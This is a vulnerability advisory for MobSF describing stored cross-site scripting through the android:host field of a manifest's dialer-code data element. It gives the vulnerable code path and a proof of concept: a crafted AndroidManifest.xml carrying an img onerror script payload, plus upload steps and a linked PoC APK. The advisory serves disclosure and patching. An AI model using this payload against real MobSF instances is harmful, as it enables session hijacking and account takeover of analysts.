mobsf
Affected
- introduced
0, fixed4.4.5(ecosystem)
Fixed versions
4.4.5
Fix
- Fixed version
4.4.5pip install --upgrade mobsf==4.4.5
Advisory
Also known as: CVE-2026-24490, GHSA-8hf7-h89p-3pqj
MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field
Summary
A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The android:host attribute from <data android:scheme="android_secret_code"> elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.
Details
When MobSF analyzes an Android APK containing a <data> element with android:scheme="android_secret_code", it extracts the android:host attribute and inserts it directly into the analysis report without HTML escaping.
Vulnerable Code Path
1. Data Extraction - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 776):
xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
2. Template String Formatting - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 806):
'title': a_template['title'] % t_name, # XSS payload inserted here unescaped
3. Template Definition - mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py (line 200):
'dialer_code_found': {
'title': 'Dailer Code: %s Found <br>[android:scheme=\"android_secret_code\"]',
...
}
4. Unsafe Rendering - mobsf/templates/static_analysis/android_binary_analysis.html (line 1143):
{{item|key:"title" | safe}}
The |safe Django template filter bypasses auto-escaping, allowing the unescaped android:host value to be rendered as raw HTML.
PoC
Step 1: Create Malicious APK
Create an APK with the following AndroidManifest.xml:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.poc.xsstest"
android:versionCode="1"
android:versionName="1.0">
<application android:label="XSS PoC Test">
<receiver android:name=".SecretCodeReceiver" android:exported="true">
<intent-filter>
<action android:name="android.provider.Telephony.SECRET_CODE"/>
<data android:scheme="android_secret_code"
android:host="<img src=x onerror=alert(document.domain)>"/>
</intent-filter>
</receiver>
</application>
</manifest>
Step 2: Build the APK
Use apktool or Android build tools to create a valid APK with this manifest.
Step 3: Upload to MobSF
Upload the malicious APK to MobSF for static analysis.
Step 4: Trigger XSS
View the static analysis report in a browser. The JavaScript payload executes automatically.
Confirmed HTML Output
<td>
Dailer Code: <img src=x onerror=alert(document.domain)> Found <br>[android:scheme="android_secret_code"]
</td>
PoC APK Details
| Field | Value |
|-------|-------|
| Filename | POC_XSS_APK.apk |
| MD5 Hash | 647258656ed03a7e6a0f2acce4ec6a5b |
| Location | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |
Impact
This is a Stored Cross-site Scripting (XSS) vulnerability affecting all MobSF users who analyze the results of the malicious APK file.
Attack Scenario
<img width="1435" height="675" alt="Screenshot 2026-01-15 at 12 24 29 AM" src="https://github.com/user-attachments/assets/e282a0b2-236e-4199-a7ce-b96017cc7052" />
Tested in MobSF Public Instance as well.
https://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/
<img width="1440" height="780" alt="Screenshot 2026-01-15 at 12 24 57 AM" src="https://github.com/user-attachments/assets/8673b76a-954a-45e7-833a-a64e0a972f2e" />
High Basis: CVSS v3 score 8.1, vector CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
0, fixed 4.4.5 (ecosystem)4.4.5
4.4.5pip install --upgrade mobsf==4.4.5Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0